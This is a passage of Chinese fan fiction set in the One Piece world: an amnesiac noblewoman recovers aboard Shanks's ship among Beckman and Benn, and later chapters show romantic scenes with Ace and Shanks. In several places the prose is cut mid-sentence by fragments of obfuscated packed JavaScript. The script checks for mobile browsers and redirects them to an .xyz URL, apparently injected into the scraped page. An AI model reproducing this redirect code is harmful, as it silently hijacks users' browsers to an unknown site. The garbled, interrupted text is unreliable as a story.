《海贼就是海贼,海贼不能变成妻子》 1. 贵女1 你显然是尊贵又娇弱的小姐,这点从你的言行、体态以及着装中就能看出一二。他们在海难中将你救起,而你却没有往昔的记忆,不知该何去何从。金发船医耐心地引导你,询问你是否记得名字哪怕是过往的一抹云彩。你双目微瞌敛着眼摇头,面带些许歉意地冲眼前人笑。 “抱歉。”你说。 即使你什么都没有做。 宛若天女,雪色的人,眉眼低垂,套着男人夸大的衣物露出脖颈间一截瓷白,乖顺得不思议。在你无法看到的地方,野兽的舌尖舔上尖利的犬齿。 作为大家长,黑发的大副不明说对你的安排,探究的眼神自始自终。你于是越过升起的烟云望向人群那抹中众星拱月鲜艳的色彩,红色,犹如烈日又像是沉寂濡湿的血。红发的船长敲定结果,他要你留在主船上,直到他们此行的目的地。 你对香克斯说感谢的话,礼貌而疏离。 作为男士,香克斯是英俊的那类,即使他着装不修边幅、面上的胡渣也无修饰都难掩他一副好相貌。这人嘴边的笑似乎无休止,周身松散慵懒的氛围该是很容易令人卸下心防的,但你没有。 他的身形高大,光打在他的身上,光是影子便能压得人喘不过气,他明明笑得像个孩子且贴心得弯着腰说话,可那压迫感却不曾减少。你与他保持距离,你不上前,香克斯也不上前,他就伫在那儿任阳光烘烤,眯着眼笑,背光时那双黑眼睛里头流转着他瞳孔真正的色彩,那是淡淡的薄红只不过在同你对话时转瞬即逝。 香克斯接过你的感谢推拒了你的手镯。那是你醒来时身上少数昂贵的饰品,嵌着蓝宝石的金花手镯是你想要支付给他的报酬。 轻笑几声,男人的指头摸索镯子上雕镂得栩栩如生的花儿,你心跳如擂,只因他无迹可循的举动——他捏你的腕子。异性的手掌烫而干燥,指腹上的茧子擦你的肌肤,非常粗糙,稍微用力就磨红了你。 抱歉抱歉,原谅他吧,他是第一次见你那么娇弱的小姐。他说着讨好耍赖皮似的话嘴角的笑不曾改变。金镯子扣在你的腕上,异□□口处的滚烫印上你的肌肤,你脉搏上覆上热意。你心猛得跳动几下,挣脱人手,莹白的手连带金镯子都掩在了长长的袖下,脚步也向后退,似只警惕的兔儿瞪了他一下,周围的人见状都不假思索地笑出声来,在这些兀自围绕的笑声里你静静垂眼,好像方才怒气冲冲的美人不存在似的。 香克斯歪着脑袋凑上来,没脸没皮。 “小姐,海贼想要的报酬是该亲手抢夺的,这样才有乐趣。” 不明所以。 你按发热的手腕目送笑哈哈的船长离去,那头红发璀璨而灼眼,烫你的眼,你马上移开视线。 贝克曼接待了你。指头划过在玲琅满目的书架上挑了几本小册给你,历史、实时、海图,人为抄录总结的痕迹上有许多标注和涂改。你大概知道这些小册出自谁的手笔,可人家不明说,你也就不说。你安静地坐在他工作室的一隅,像一块干涸的海绵吸纳知识,偶尔同沉默的副手进行简短的对话。 “上面的,有印象吗?” “很抱歉,我感觉都是新的东西。” “什么都想不起来了?” “什么都想不起来。” 纸张翻阅和纸笔摩擦的声音有条不紊,窗子外风、浪与飞翔海鸟的啼鸣,你紧绷的神经得到了很好的舒缓。鼻尖总萦绕一股温暖的油墨味和木头香,淡淡的硝烟的味道,一点点酒水的味道,这些都混杂在一起反而和谐得令人安心。 风将咸涩的海水味带进来,吹乱你,你素指挽发别在耳后,露出圆润柔软的耳垂,小小的鼓起不需要任何修饰,屋内的燥热染红它,粉莹莹。 那淡粉色讲真,晃眼。 贝克曼唇边的烟飘向窗外,他的手肘抵窗沿,任湿乎乎的海风中和周身的雾气,心思缜密的大副堆满文件的桌头,平摊开的文书上尽是墨水圈圈点点,空白纸张被风带起遮了上去,晕开一圈又一圈未干涸的墨迹。 本乡扣开船副室的大门时,你沉浸在文字间。因此他开口时你被吓了一跳。 你的表情总是在受到惊吓时生动起来。 船医觉得好笑,跟你说抱歉的话但你觉得他和他的船长一样都是带笑的混蛋,他们的歉意是不达眼底的。 他们是你的救命恩人,是远比你想象中更加强大的海贼。 所以你必须收下本乡的歉意。 本乡向你转达了他对你缺失记忆的猜测,在那场海难里你不曾受伤,仅仅是被卷进了他们的冲突,大概是受到两方碰撞时所产生的余波波及,你的脑子受了这力,导致你的记忆丢失。如果你的身体承受得住,那么他们会帮助你体验“余波”,只是轻微的。如果你不可承受,那么他们将送你至此行的目的地,你也许可以在那儿生活。亦或按照你的期许使用某些“刺激”的手段。 “没有药物治疗的可能性吗?” 长袖下你捏手指指甲钻进掌心,眼睛却定定看他。你知道他不单单是说给你听,是说给这艘船只的副手贝克曼听,船医确诊了你的失忆是真实的,你的威胁性似乎小了一点,凝聚于你身上的视线松动,弱了几分,却完全没有褪去。余光里黑发的副手在烟雾后撑着下巴,手指间摇晃那只蘸水羽毛笔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834991|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“药物治疗的过程很漫长,多数是神经性药物,这期间你必须配合我做同步的心理治疗和康复训练。” 话里的意思无非是你不得不和他长时间呆在一块。船医朝你笑,他大概是这艘船上少数温和的人,但他也是个海贼,揶揄间带着调笑,“我以为,小姐是不会愿意和我们任何人长时间在一起的。” “从醒了之后,你就相当抗拒。” “药物治疗,如果小姐想,当然也能够提供,但是成本和时间……我们毕竟不是慈善家,是海贼啊。” 绕过眼弯弯的船医,你三步两步走到贝克曼的桌前。又是那只金花手镯,你从腕子上摘下它,将它同另一对收起的蓝宝石珍珠耳环一同送至人前。 “这是我能给的,我都给了。” “小姐还藏了一枚。” 贝克曼的指头敲敲桌面,拆穿你,视线落在你垂下的袖上如针灼,你于是将那枚要留存的戒指摘下。这金戒也雕镂了金花,上头是夺彩的碎钻、细细的宝石的颗粒,你很想留着它。因为指环内侧有一道淡淡的花痕,你想它大概是家纹,只是你不懂。 你将它掷向贝克曼,差一点金戒要沉没大海,贝克曼的手伸得稳,小巧的戒指躺在他的手心,指环上还残留着主人的体温。 “那么往后,小姐,请多指教。” “请多指教了,贝克曼先生,本乡先生。” 你过于正式的叫法让贝克曼失笑,本乡拍着手说你无论如何都有距离感。 但这里是海贼的船呀。金发医生同你说,话里的意思耐人寻味,你只看得出他没有恶意,只不过爱戏弄你,因为他头一次见你这样安静的“病人”。 你的手镯、你的耳环、你的戒指,你被捞上来是身上最贵重的三样物品,成了你的医药费和乘船费。 贝克曼在这间办公间拉起帘子,一张宽宽的沙发成了你的寝床。船上是没有女人的用品的,你身上的衣物提供者是被爱干净的船医威胁而拥有一衣柜干净衬衫的船长香克斯。 “是我的衣服呢,小小姐。”毫无距离感,自来熟,好动又充满探究,红发的船长托腮在贝克曼的办公桌对面看你,看你缩在沙发的一角手上捧着贝克曼无所事事时做无关重要信息的简报。 套着宽大白衬衫的少女好似一只高傲、光滑润泽的猫儿,那双似大海深邃的宝蓝色的眼睛里少有情绪。她就坐在那儿,却好像在世界的另一端那么遥远。 她就在那一端独自发光。 真的很有吸引力。 想要将漂亮的小猫、闪光的宝石握在手心啊,将她扯入正确的世界里,他们是海贼呀。 2. 贵女2 耶稣布叩门喊人吃饭,红发船长像见了鱼的猫嚷嚷便跑了出去,徒留黑发船副倚在椅上烟云缭绕,想来这场景上演过不止一次。 你在纸张上涂画,画金戒内瞥到的花纹。石墨擦纹理粗糙杂质斑驳的纸张,灰碳色、碳色,你的指头擦上头小小的黑色的颗粒在纸上落下灰灰的墨彩,简约而不失雅致的纹饰跃然纸上,是戒指内的花纹。你果然对它不抱印象,可你能透过不经意一瞥将它完整地描绘出来,说明你并不是一个健忘的人反而有着惊人的记忆力。 你的视线有了焦距,因为一团闯入你视野的帕子。你抬头望去,指头夹烟的男人没有表情,帕子落下盖上你灰色的手指时你发现它已经被打湿了,有咸腥的海水的味道。 “拿去擦一擦,要去吃饭了。” “谢谢。” 你对贝克曼同样疏离的态度感到踏实,同样你缴纳了你的饰品,金钱交易所带来的心安感永远是踏实的。 你此前阅读贝克曼递给你的小册,沉默的男人不在意你翻动他书柜下的报纸。泛黄的、褶皱的、崭新的,每一份都根据日期排列放置书架,整齐、不凌乱,可以见得主人细腻。 你从报纸上推测大概是掌握了当前的世界局势。实话,不论是海军也好,海贼也罢,天龙人、海上皇帝、马林梵多……对你来说尽是陌生的词汇。而你的指头明明落在油墨印的纸上也能够感受到粗糙,可脑海里映射着的景象却朦朦胧胧,你确信你的五感感受到的一切是真实的。你的眼睛看见光线中飘散的尘埃丛书架上落下来如同起舞的光点洋洋洒洒;你的鼻尖能够嗅到苦涩的烟、咸涩的海水;你的耳朵听清海浪声、柴火划破空气的声音、火焰跳跃燃烧的声音甚至隐约能透过木门感知到甲板上的嬉闹。这些都是真实的。可每当你这样告诉自己时,不真切感便涌入你,你似乎和此处万物都间隔了一层透明的物什,一层玻璃,单薄而脆弱,牢不可破。 奇怪。 你将书放回书架。 真奇怪。 你捧着最初的那几本小册,婆娑干透了墨迹的标注。 “你不能穿着这样出去。” 说话的人视线不在你,船长又失去了两件干净的衬衫。 副手的指头很粗,你见过他腰间别的那柄燧发枪,当他靠近时房间内那若有若无的硝烟同墨水味加重了几分。他该是用那枪做出过许多出格的事情,而现在那双手正摆弄衬衫的纽扣。 其实他没必要这样做,你不看他可眼睛里写着这样的话。只是贝克曼沉默,薄唇抿成一条线,只是扣子一颗一颗跳跃在他的指尖,他很娴熟,捏着白色的布料套在你的身上。和船长宽大的体型相比你是娇小的,扣上扣子的衬衫滑至你的胯骨时被收紧,两只袖管在你的侧腰打结,蓬松的漂亮的蝴蝶结,你有些惊讶地看贝克曼得到他的一声笑。 “不要动。” 男性的气息贴着你,你能感受到他热乎乎的胸膛隔着空气传来的热流,这让你不自在,你到底没说什么。贝克曼与你接触始终是有距离的,就像他始终以审视的目光注视你。指背偶尔碰上你,你会发抖,两个人并不说话,只有呼吸证明着彼此的存在。 两件衬衫成了长裙,露一点少女的雪白。 “感谢您,贝克曼先生。” 他收拾好你,当甲板上大快朵颐、喧闹豪饮的人群看见你时这艘巨大的龙头船有了一瞬间的安宁,而后吵闹如同酒水中升腾的气泡,一个接着一个,咕噜咕噜,劈里啪啦地破掉,他们又是那群嬉笑粗野快乐的海贼了。 手上好像永远拿着大肉骨头的厨师长拉基·路,你见过的。在你醒来的第一餐之后,他风风火火推开医务室的门,不满地端着他的大作,说这比被船板上的“老鼠”偷吃还要令他不服气,因为“老鼠们”通常吃得干干净净,你却只啃了那么一小口,厨师的心灵在同伴们无恶意的起哄下受到了不小的伤害,但目光落到你身上时小山似的厨师噤声,缩了缩,背后传来他人的嘲笑声,笑他果然还是对女人没有办法。 当时你尚未知晓状况。笑脸的船医说你的好话,解释你比老鼠还要小的食量确实让人吃惊,他也吓了一跳,第一次见胃口那么小的人。香克斯提着你摇晃,你头昏眼花,给了他一巴掌,这对他来说一点儿也不痛,无异于小虫叮咬,他只感叹你那么轻,海浪一卷你就要被带走的,他对你笑,推门而出,再没进来过。 你谢过拉基·路,厨师给你准备了专门的餐盘。你的食量实在是小,他不死心地想往上面塞东西时与你对视,勺子一抖,最后还是恹恹地走开了。掌勺的厨子又被伙伴笑话了,让同伴的头吃了一记大骨棒,吵吵闹闹闹到了一块。 你坐在角落。 不知是有意还是无意,一船海贼都离你离得远。你乐得清闲,慢条斯理地吃,柔软的面包、香浓的汤汁、脆嫩的煎肉,拉基·路是一个好厨子,美味的饭菜让人心变得舒适,你自觉身体的状况良好,头脑也清晰,那么这种情况下做出的任何判断想必都不会出错。 你无意识中与远处人群中的船长对上视线。 他似乎也感到惊讶,眼睛一眨笑容变得更盛了些,手上拼酒的动作并不停,清澈透亮淡黄色的酒水从嘴唇落到下巴,又顺着喉结淋湿大片胸襟,将他的胸膛浸润得闪闪发光。香克斯扯扯透明的布料咂嘴,抬着笑眼对你说话。 ‘又是我的衣服呀!’ 你身上的三件衬衫。 你冲他点头时船长的心思已经被酒勾走了。 他说的话总有些许暧昧,可你看他黑亮的眼睛便知道他全无那样的心思,他表现出得如孩童般幼稚的纯真是这片大海上最单纯的残忍。 你应付不来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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船副性感精明的大脑惯用理性分析一切,可在海上相信直觉同第六感又是他们这些刀口舔血于冒险、航行向死而生之人的本能,于是贝克曼的本能告诉他,他最好是看好你,因为你是个麻烦。 看吧,你对除了人之外于自己有利的事物来者不拒。 灰眼睛在上方描摹你眺望的远方的月亮。 “贝克曼先生,什么时候靠岸呢?” “两周后。” “这样啊…” 银色月光在宝蓝色的眼睛里绞得细碎。胃部残留着美味食物留下的温润使得你语气雀跃,你冲贝克曼笑了笑,好像是你第一次对他、他们露出无芥蒂的笑容。 “谢谢您,贝克曼先生,现在我不需要它了。” 你退回了房间,贝克曼的书房。 贝克曼站在月光里,一手捏着烟,一手是你掀下的属于他的斗篷。少女的体温残存于内侧的绒毛上躺在他的手心,他想起你掷出的那枚值连城的金戒,就好像你还他斗篷,你抛你的金戒,不带一丝犹豫、没有留恋,你比看上去无情得多。 是因为失忆还是因为少女本就如此,不得而知。 牙齿搅着烟蒂,袅袅烟云。 望着月亮触景生情的贵女从一开始就不存在。 你仅仅是停留在这儿罢了。 3. 贵女3 海上航行淡水是奢侈品,即使雷德弗斯号拥有完备的净水装置,面对众多船员依旧杯水车薪,在资源匮乏的状况下,掌权大人们的好处便凸显出来。但你不打算寻香克斯,也不想要寻贝克曼,你应付不来船长,也无意丈量高深莫测的副船长。 和陌生的男人保持频繁的接触是没有好处的。 所以深夜里你敲了另一位陌生男人的门。至少这不是他的寝门,是公共医务室。白天船医同你提过即使深夜他也大多窝在医务室,暗示病人可以随时找他。 开门前本乡惊讶人来得那么快。在船上会老实敲门的人寥寥无几,称兄道弟惯了之后即便有上下级区分也难免不拘小节,破门而入是基操,某次喝醉的船长甚至拆了医务室的大门美其名曰替他开张办公不必言谢,事后被船医绕船追赶跑了十圈八圈不了了之,只是船医一直记仇罢了。如今面对礼貌规矩地敲门,不用多想,本乡知道是你,见闻色感知门后的少女,平静祥和的面庞上一片坦荡。 你简单向本乡表述了你的需求。 聪明的船医没询问你为什么不去问问万能的贝克曼,应许你,借你闲置的干净木桶和毛巾,指指里头的帘子示意。 你道谢,视线依旧停留在船医身上。 “还有什么需要帮助的吗,小姐?”本乡倒坐在椅子上,双手交叠于椅背顶端,金色的脑袋端在手背上,俏皮地眨眼。 你们对视数秒,你收回视线。 “也许您没想到您应该出去?” 你觉得这人是故意的,你不说,全当善意的提醒。 “哎,原来是要我出去吗?但是我还不能出去啊,我的事还没做完,抱歉啊,小小姐。” 你看着男人故作惊讶,冲你扬字迹密密麻麻的纸张,上面墨水画的小图未干,房内的灯光照着湿漉漉的墨迹,它一闪一闪。结合桌面上塞满物什的瓶瓶罐罐和散落、捆扎的植株,不难看出他是在干什么。 “……只要一小下,”你看他又马上垂下眼,指尖来来回回擦着木桶,“您也许知道,在淑女净身的时候,男士是应当回避的。” “是这个理,但是小小姐,请不要忘记我是个医生。” 他不让步。 一时无言。 你也不能冲他发脾气。这看着温和的人也是个海贼,他不止一次提醒你关于这件事。 你有些烦躁地摸索木桶,怎料木桶上细小的尖刺扎进你的指头。有些痛,但可以忍受,细小的血珠从你的指尖凝出。即使是那么一点儿艳红色,在白雪之上也是刺眼的,何况是好眼力的船医。 奇怪的,明明是极细小的木刺,可在你身上作用后似乎被无限地放大了。一颗又一颗圆润的血珠从那细不可闻的伤口处挤出、汇成很细很细的红流,汩汩流淌,从你的指尖流入你指头的缝隙,流入你细嫩的掌心,落上木头地板绽开一朵、一丛的红花。 看呆了本乡。 “这也……”船医反应很快,“小小姐,是生气了?不过被木刺刺破手指这种死法我倒是头一回见哈哈哈哈。” 他捏你的指头泡了药水的冰凉棉球擦拭你,原本舒展的眉头蹙在一起,说着玩笑话可面上却认真,那双眼睛离你的指头很近很近,近到你动动手指就能摸到他的眼球。 太近了,你的指甲马上要戳进他的瞳孔。 指尖被湿热的气流同鲜血熏成粉红色。 “小姐的体质似乎异于常人。”船医翻动你的手,指腹摸摸你掌心、碰碰你的指节,又看看那光洁如新得指尖。 你知道他在检查,你只是讨厌这样的接触,太亲密了。于是在人的指头要穿过你手指的缝隙时,你十指蜷一下。船医的动作停滞,任命得收回了手,可那张脸却还是俯在你指上。你感受到人类的睫毛在你的指尖颤动,眼睫的触感说不上来,只觉得痒、很轻很轻,你强忍直接将指头怼进人的眼球的冲动。 “本乡先生,我真的会生气的。” “抱歉抱歉,我头一次见像小小姐这样的人。” 同他总是挂着嬉皮无辜笑容的船长比起来,船医的笑要温和许多,不知道海贼是不是也有所谓的医者仁心,还是说医生都会这样笑,温润令人不自觉放松警惕,惯会骗人。 “那么请您出去好吗,我保证会很快。” “好的,好的,小姐都这样拜托的话。不过请你注意不要再磕碰,你的身体似乎比自己想象里还要金贵呢,太脆弱了,小姐,就算是我也是第一次见,说真的很好奇,所以如果发生了什么就叫我们吧。” “我保证随叫随到。” 后脑勺的束发一晃,人便无了踪影。 反正你会和船医相处相当一段时间。 不满和生气之后大概会更多。 只希望不要浪费了你的金子。 医务室的水温可以调节,你知道的。在你醒前就曾有人用温水为你擦拭被海水浸透的冰冷的身体,那个人是本乡。医生于男女差异了若指掌,“病人”也好“伤患”也好,由他来妥善你是船上的共识。 就像对香克斯和贝克曼,你也没想多亲近这位船医。你不喜欢他看,是医生的职业病也说不定,他的视线落在你身上如术中小刀,当那视线紧迫,你总有自己要被他切割开来的错觉。他大概是想要研究你。你不是聋子也不是瞎子,船员们叽叽喳喳的议论声你听得到,你知道你出现的那场人为的海难战况激烈,结果竟有一位脆弱的女性毫发无伤地漂泊在漩涡状的海流里,怎么想你都来路不明、充满疑点。 贝克曼对你不放松是对的。 一点点细小的伤口就可以让你的血液源源不断流淌。 如果伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834993|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口没有被本乡处理,你说不定会因为这种微不足道的伤口流血而亡。很可笑,但是真实的。当血珠凝成小流时,脑海里的声音告诉你它会就此奔流不息,流向大海,直至生命的终点。 你一瞬间闪过的情绪快到船医无法捕捉,一片淡然。 毛巾浸透温水擦拭身体,毛孔张开、呼吸带来微微凉意。船医确实贴心,嘴上是说闲置物品,可不论是木桶还是毛巾都是新的。人性是复杂的。在世界报纸上穷凶恶极的海贼会救助来路不明的人还焕发善意,传给那些对海贼避之不及的人他们大概会骂疯子混蛋之类的粗话,反正类似的事情肯定都不会被报道出来,因为海贼就要一直保持“恶”。 擦干净自己,你一身清爽。想要有新衣换洗,但寄人篱下、手无缚鸡之力、可支配的财产也全都交了出去,眼下还提要求就太没眼色了,至少等个适当时机,最好是对方自己提出来。 船长的衬衫很大。套在身上长长的下摆盖过臀部延申到你的膝盖上,只要这一件就够做睡衣。但你要去甲板上,要再加一件。抖另一件衬衫抓袖管在腰侧打结,蝴蝶结反复打了两次也没有贝克曼做的那样蓬松可爱。 剩余的一件衬衫和拧干的毛巾一起叠好放进木桶。 医务室充满消毒水和药草的味道,有股独特带凉意的药香能让人头脑清醒。大海贼的医务室干净又整洁,非常加分,你不讨厌这里。视线落在指尖,出去那么利索的本乡肯定会同他的头领们谈你的事情,到底你是船长捡来的乐子,而将情报第一手奉上是正确的。 可是啊。 你难得这样笑。船医并没有发现你掩藏的秘密。虽然那也是你无意中发现的,因为太神奇了,太惊讶了,回味过来便把它咽下肚子。 在你醒来时无人注意的角落,你的指甲在掌心抠出鲜红的弯月,你下意识地舔了舔那里,举动粗野,想要堵住伤口应该是身体的记忆、本能驱使你。当你从手心抬头,触目是一片洁白,红月牙儿似的伤口不复存在,仿佛刚刚只是镜花水月,你一吻它便消失了。 木桶遮住掌心,你推门出去。 金发的船医赫然倚靠在墙边。 “小姐,收拾干净了?” “嗯,谢谢您,本乡先生。” 远处的海面延展成无限的长线,朦胧里那颗橘红色要探出来了,是破晓将至。晨风拂过耳畔,带过昨夜浸透甲板酒水的气味,醺人。 脚边的一坨红脑袋抱着空酒瓶扯住属于他的衬衫。 第一缕光将红色照得刺眼。 你俯视这片红,扯回被照得金灿灿的布料,船长艳丽的色彩晕染上来。他念叨着自己的衣服居然会走路了真让人大吃一惊,痴笑了几声向后一倒,睡了。 “头儿偶尔会这样。” 你想,医生他果然是个骗子。 4. 第 4 章 艾斯很生气。 不用看就知道在生气。 空气中飘散小小火星,露娜指头一伸它们便逃也似从她的指尖旁溜走,不要她碰,和分离出它们的主人一样。艾斯只用他毛茸茸的黑脑壳看露娜,弓起的背上属于老爹的标识被脊柱顶得绽开,他像只炸毛的猫,那头软乎的头发也确实像炸开来。 露娜的手指落在他的背上,艾斯浑身一怔。他不理她,露娜就继续用手指戳他,戳他的背,戳他引以为豪的白胡子的标志,戳他突起的肩胛骨,戳他的脖颈,戳他的肱二头肌。指头陷在他热乎乎的皮肉里,把艾斯的肌肉和少年那层泛着健康粉红色的肌肤戳得凹出女人一个指头的小坑,露娜挪开手指,它们就回弹,她重复着这样的小动作,乐此不疲,“艾斯艾斯”地叽叽喳喳叫个没完。她就这样戳他、叫他,朝他靠过去,渐渐地干脆就躺在了他身上也变成了小猫,没有骨头似地趴在艾斯的肩头,软趴趴靠着他,枕着他,嘴巴挪在他粉哒哒的耳朵边又叫他又叫他,甜腻腻地不知羞地,她就是在冲他撒娇嘛。 露娜就知道艾斯的耳根子软,软得一下就红了要滴血了,她笑他。 “艾斯,艾斯,你理理我嘛。” 露娜得寸进尺,一双手绕过艾斯的脖子要揽上他,可手上一热却是落入了艾斯的手中。 艾斯的手很大,宽宽的指头包裹露娜的手指。在拥有烧烧果实前,他的体温就滚烫,早在戈尔波山的绿荫下露娜便亲历那颗炙热的心燃烧时灼人的温暖,现在更是,暖得雪白色手指染上他的色彩。 艾斯捏露娜的手指,捏她的手掌,他的力气很大,从小就是。但他握女人的手,他明明很生气的,却愣是没将那双手给揉烂,仅仅是想要将它整个儿融进他温而烫的掌心里。 他想要她,他想要露娜。 艾斯把露娜的手捏成粉红色。 把她拽到他的怀里抱着,热乎乎的胸膛贴上小没良心的背,女人在他的怀里笑得好放肆,他环住她,环住她的腰肢,很用力,瞪她,可生气了,他真的非常非常生气,气得红了眼眶,狠狠地钻到女人的脖子上,咬她,发狠了,牙齿切实地咬破细嫩的皮肉,喷涌地血液打湿艾斯的嘴巴,给大海贼火拳涂了个七扭八歪的口红。 结果怀里的人不要说害怕了,连尖叫都没有,不打不骂。粉红色的手指陷在他的头发里,摸他的头皮,真把他当作凶呼呼的猫了吗?可是一下一下地,那双手抚摸他,揉他,覆在他的头发上,那么轻、那么暖、那么温柔,那么得有耐心…… “艾斯,好乖,好乖。” 像是哄小孩,逗猫咪。露娜总是这样。艾斯气笑了。 从女人的脖子里出来,一双眼睛里跃着不满又痛苦的火,火光冲天,明亮,烧着里头微笑的露娜。露娜才不管呢,她就任他盯着她瞧,哪怕艾斯要把她盯出个窟窿。 粉色的指头擦大男孩软软的嘴巴,蹭掉糊在上面的血渍,蹭得艾斯的嘴巴乱七八糟,谁叫他刚刚咬她的?把又暖又软的嘴巴蹭得通红发烫,露娜才放下手来。 “气消了吗,艾斯?” 她这样问的他。 艾斯的满腔怒火如同被戳破的气球干瘪下来,他所有的怒火好像在这瞬间都变得无比可笑,他在她面前就好像一个无理取闹小孩。她的眼里自己从来没有长大过吗?那么那些出格的大人们才能做的事情又算什么呢?算什么呢? 艾斯看露娜的,看她柔软的面孔,看她脖颈上血迹斑斑死去的皮肤蜷曲,好不可怜,她明明是那么脆弱,一捏就会碎掉,可任何人都拿她没有办法。 他拿她没有办法。 即使他的灵魂无声地哭泣,在燃烧的胴体中呐喊,那也留不住她的,谁都留不住露娜。她总这样。可童年时候被女孩子小小的身体拥抱所带来的温暖却永远镌刻在了他的幼弱时期孤寂的生命上,被划上了她的痕迹,她是他的月亮啊。 “你为什么总是能让我那么愤怒,却一点都不像伤害你啊,啊哈,太过分了,太狡猾了,露娜你都没有人心吗……”艾斯抱住露娜埋在她的身体里,埋着她的胸口闷闷地。热乎乎的身体贴上来,男人于女人之间没了一点儿缝隙,但他是真正在伤心的,特别得不开心,把露娜的胸口弄得湿乎乎。 她把他给气哭了。 艾斯看着要把自己融进你的身体,可是就算他再用力,掌心贴着她的背像是要烧起来,他也一直克制着力道。 一点都不痛呢,艾斯,所以她才欺负他的。露娜揉揉艾斯,顺他的背,嘴巴里劈里啪啦冒出甜言蜜语,嘴唇蹭着埋头的艾斯口红剐蹭他的耳垂。 太容易害羞了,又太容易生气了,艾斯眼睛发红,当真是拿露娜一点办法也没有。 “不可以就只有我一个吗?红发就算了,那个大副也是,马尔科和以藏又是怎么回事!还有萨博!路飞!我会被你气死的!露娜!我真的很生气!我差点对你!我……”女人的手堵住上艾斯波嘚波嘚输出的嘴巴,把口鼻全都堵住了,捂得艾斯面红耳赤。 露娜好一会儿才放手,抱着她让她盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834994|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己身上的艾斯趴着她呼吸,热乎乎的鼻息在她的肌肤上开出粉红的花。 艾斯又想说话了。 露娜不怎么想听哎。 “嘛,你不要生气了啦,我们来亲嘴吧,艾斯~” “哈!?” 艾斯好像更生气了,恶狠狠地,眼睛瞪出来,谴责她这个既花心又无情的女人真的好像在把他当成小狗耍。但是他看她看她,视线又忍不住落在她的嘴巴上,涂了唇蜜的嘴巴,甜甜的粘嗒嗒的蜜渍方才还粘在了他的耳朵上。 耳朵着火了,真的着火了,艾斯狼狈地捂住耳朵,看露娜的眼睛是连自己都没意识到的湿漉漉。 露娜只觉得艾斯好可爱、好有意思,她真的很喜欢艾斯这种想吃又纯情的样子,小狗想要偷腥嘛,那就邀请他来偷呀,可是人人好坏,就喜欢欺负小狗。 露娜捧着艾斯,指头摸他热热的脸,宝蓝色的眼睛里充满艾斯的雀斑小脸。 “那我们不亲嘴?” “亲!” 为什么不亲!她就应该亲他的! 毫无羞耻的想法在脑袋里闪来闪去,太理直气壮了,搞得艾斯自己不好意思,但是他要被她给憋坏了。 艾斯想都是露娜的错。 他被她捧着,被她注视,居然就想要摇不存在的尾巴。 指甲刻嵌进肉里了他也不曾清醒过来,露娜就是他从未清醒过的美梦。 “好好哦,亲嘴。” 女人香软的嘴唇就贴上来了,和他的贴在一块。太柔软了、太香了,好甜。 艾斯的嘴巴被打开,她当真在亲他,又逗他,即使是他的舌头,也被她欺负,两个人的嘴巴搞得湿湿地、黏黏地,呼出地热气把他的雀斑也熏成红色,他整个儿脑袋都是露娜的味道。艾斯想他真的要被这个坏女人给变成小狗了,他舔她的脸蛋,舌头不停地舔舐她,她还笑,还用手指逗他,简直没有将他看作是一个男人嘛。 艾斯咬露娜的手指,也许用“吃”更合适。他啃她的指头,在上面留下牙印,真的很幼稚,但是他还是啃了好一会儿才把她手吐出来,口水把露娜的手指搞得晶莹。艾斯把脸蛋埋在露娜的小腹上任由她把自己的口水全擦在他的头发上,他自作自受。 “害羞啦~” “烦死了……” “再亲一下?” “……” “不亲嘴吗?” “……亲。” 露娜的笑声被艾斯吞进嘴巴。 太黏糊了。 5. 辉夜姬 银月圆满高悬的时候,露娜裹着一件毛茸茸的白袄,夜里海面刮来的风大,吹得她青丝纷飞撩在香克斯的脸上,痒痒地磨蹭男人眼上那三道突兀的疤痕。 女人的腕间总有一股香味,露娜身上的香味令人安心,她就这样趴在香克斯的胸膛上赤裸的脚趾踩着贝克曼的大腿,几根指头揉在红发的眼上,轻轻摩挲,摸摸香克斯的眉毛,摸摸他的鼻子、扑棱的睫毛和半搭耸的眼皮。 她说:“香克斯,我要走了,下个月的十五,他们就要来接我了。” “这么快就走了?我会舍不得的。” 红发抓住她的手指,唇瓣上的酒气沾上去,黏糊糊。 露娜的手指很凉,总是很凉,她身上似乎没有人间的温度,可是她的身体又是那么柔软和温暖。香克斯揣着她就像揣一只温温的小炉,但她比暖炉要娇气得多,又是那么天不怕地不怕,仗着自己永恒的生命什么事都能干得出来,岁月不曾在她姝丽的面容上留下什么,她好像从来都是那个从天而降、不谙世事的姑娘。 大海贼 